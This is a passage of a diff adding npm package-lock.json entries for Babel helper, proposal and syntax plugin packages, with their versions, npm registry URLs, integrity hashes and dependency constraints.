+      "integrity": "sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-function-name": {
+      "version": "7.23.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz",
+      "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==",
+      "dependencies": {
+        "@babel/template": "^7.22.15",
+        "@babel/types": "^7.23.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-hoist-variables": {
+      "version": "7.22.5",
+      "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz",
+      "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==",
+      "dependencies": {
+        "@babel/types": "^7.22.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-member-expression-to-functions": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.9.tgz",
+      "integrity": "sha512-RxifAh2ZoVU67PyKIO4AMi1wTenGfMR/O/ae0CCRqwgBAt5v7xjdtRw7UoSbsreKrQn5t7r89eruK/9JjYHuDg==",
+      "dependencies": {
+        "@babel/types": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-imports": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz",
+      "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-transforms": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.19.0.tgz",
+      "integrity": "sha512-3HBZ377Fe14RbLIA+ac3sY4PTgpxHVkFrESaWhoI5PuyXPBBX8+C34qblV9G89ZtycGJCmCI/Ut+VUDK4bltNQ==",
+      "dependencies": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-simple-access": "^7.18.6",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.0",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-optimise-call-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz",
+      "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-plugin-utils": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.19.0.tgz",
+      "integrity": "sha512-40Ryx7I8mT+0gaNxm8JGTZFUITNqdLAgdg0hXzeVZxVD6nFsdhQvip6v8dqkRHzsz1VFpFAaOCHNn0vKBL7Czw==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-remap-async-to-generator": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz",
+      "integrity": "sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-wrap-function": "^7.18.9",
+        "@babel/types": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-replace-supers": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.19.1.tgz",
+      "integrity": "sha512-T7ahH7wV0Hfs46SFh5Jz3s0B6+o8g3c+7TMxu7xKfmHikg7EAZ3I2Qk9LFhjxXq8sL7UkP5JflezNwoZa8WvWw==",
+      "dependencies": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-member-expression-to-functions": "^7.18.9",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/traverse": "^7.19.1",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-simple-access": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz",
+      "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-skip-transparent-expression-wrappers": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.18.9.tgz",
+      "integrity": "sha512-imytd2gHi3cJPsybLRbmFrF7u5BIEuI2cNheyKi3/iOBC63kNn3q8Crn2xVuESli0aM4KYsyEqKyS7lFL8YVtw==",
+      "dependencies": {
+        "@babel/types": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-split-export-declaration": {
+      "version": "7.22.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz",
+      "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==",
+      "dependencies": {
+        "@babel/types": "^7.22.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-string-parser": {
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz",
+      "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-validator-identifier": {
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz",
+      "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-validator-option": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz",
+      "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-wrap-function": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.19.0.tgz",
+      "integrity": "sha512-txX8aN8CZyYGTwcLhlk87KRqncAzhh5TpQamZUa0/u3an36NtDpUP6bQgBCBcLeBs09R/OwQu3OjK0k/HwfNDg==",
+      "dependencies": {
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.0",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helpers": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.0.tgz",
+      "integrity": "sha512-U5eyP/CTFPuNE3qk+WZMxFkp/4zUzdceQlfzf7DdGdhp+Fezd7HD+i8Y24ZuTMKX3wQBld449jijbGq6OdGNQg==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/template": "^7.27.0",
+        "@babel/types": "^7.27.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/parser": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.27.0.tgz",
+      "integrity": "sha512-iaepho73/2Pz7w2eMS0Q5f83+0RKI7i4xmiYeBmDzfRVbQtTOG7Ts0S4HzJVsTMGI9keU8rNfuZr8DKfSt7Yyg==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.27.0"
+      },
+      "bin": {
+        "parser": "bin/babel-parser.js"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz",
+      "integrity": "sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.18.9.tgz",
+      "integrity": "sha512-AHrP9jadvH7qlOj6PINbgSuphjQUAK7AOT7DPjBo9EHoLhQTnnK5u45e1Hd4DbSQEO9nqPWtQ89r+XEOWFScKg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9",
+        "@babel/plugin-proposal-optional-chaining": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.13.0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-async-generator-functions": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.19.1.tgz",
+      "integrity": "sha512-0yu8vNATgLy4ivqMNBIwb1HebCelqN7YX8SL3FDXORv/RqT0zEEWUCH4GH44JsSrvCu6GqnAdR5EBFAPeNBB4Q==",
+      "dependencies": {
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-remap-async-to-generator": "^7.18.9",
+        "@babel/plugin-syntax-async-generators": "^7.8.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-class-properties": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz",
+      "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-class-static-block": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.18.6.tgz",
+      "integrity": "sha512-+I3oIiNxrCpup3Gi8n5IGMwj0gOCAjcJUSQEcotNnCCPMEnixawOQ+KeJPlgfjzx+FKQ1QSyZOWe7wmoJp7vhw==",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-class-static-block": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.12.0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-decorators": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.19.3.tgz",
+      "integrity": "sha512-MbgXtNXqo7RTKYIXVchVJGPvaVufQH3pxvQyfbGvNw1DObIhph+PesYXJTcd8J4DdWibvf6Z2eanOyItX8WnJg==",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-replace-supers": "^7.19.1",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "@babel/plugin-syntax-decorators": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-dynamic-import": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz",
+      "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-dynamic-import": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-export-namespace-from": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz",
+      "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-json-strings": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz",
+      "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-json-strings": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-logical-assignment-operators": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.18.9.tgz",
+      "integrity": "sha512-128YbMpjCrP35IOExw2Fq+x55LMP42DzhOhX2aNNIdI9avSWl2PI0yuBWarr3RYpZBSPtabfadkH2yeRiMD61Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz",
+      "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-numeric-separator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz",
+      "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-numeric-separator": "^7.10.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-object-rest-spread": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.18.9.tgz",
+      "integrity": "sha512-kDDHQ5rflIeY5xl69CEqGEZ0KY369ehsCIEbTGb4siHG5BE9sga/T0r0OUwyZNLMmZE79E1kbsqAjwFCW4ds6Q==",
+      "dependencies": {
+        "@babel/compat-data": "^7.18.8",
+        "@babel/helper-compilation-targets": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-transform-parameters": "^7.18.8"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-optional-catch-binding": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz",
+      "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-optional-chaining": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.18.9.tgz",
+      "integrity": "sha512-v5nwt4IqBXihxGsW2QmCWMDS3B3bzGIk/EQVZz2ei7f3NJl8NzAJVvUmpDW5q1CRNY+Beb/k58UAH1Km1N411w==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-private-methods": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz",
+      "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-private-property-in-object": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.18.6.tgz",
+      "integrity": "sha512-9Rysx7FOctvT5ouj5JODjAFAkgGoudQuLPamZb0v1TGLpapdNaftzifU8NTWQm0IRjqoYypdrSmyWgkocDQ8Dw==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-proposal-unicode-property-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz",
+      "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==",
+      "dependencies": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=4"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-async-generators": {
+      "version": "7.8.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
+      "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-bigint": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",
+      "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-class-properties": {
+      "version": "7.12.13",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
+      "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.12.13"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-class-static-block": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
+      "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-decorators": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.19.0.tgz",
+      "integrity": "sha512-xaBZUEDntt4faL1yN8oIFlhfXeQAWJW7CLKYsHTUqriCUbj8xOra8bfxxKGi/UwExPFBuPdH4XfHc9rGQhrVkQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-dynamic-import": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
+      "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-export-namespace-from": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz",
+      "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.3"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-flow": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.18.6.tgz",
+      "integrity": "sha512-LUbR+KNTBWCUAqRG9ex5Gnzu2IOkt8jRJbHHXFT9q+L9zm7M/QQbEqXyw1n1pohYvOyWC8CjeyjrSaIwiYjK7A==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-import-assertions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.18.6.tgz",
+      "integrity": "sha512-/DU3RXad9+bZwrgWJQKbr39gYbJpLJHezqEzRzi/BHRlJ9zsQb4CK2CA/5apllXNomwA1qHwzvHl+AdEmC5krQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-import-meta": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz",
+      "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-json-strings": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
+      "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-jsx": {
+      "version": "7.18.6",
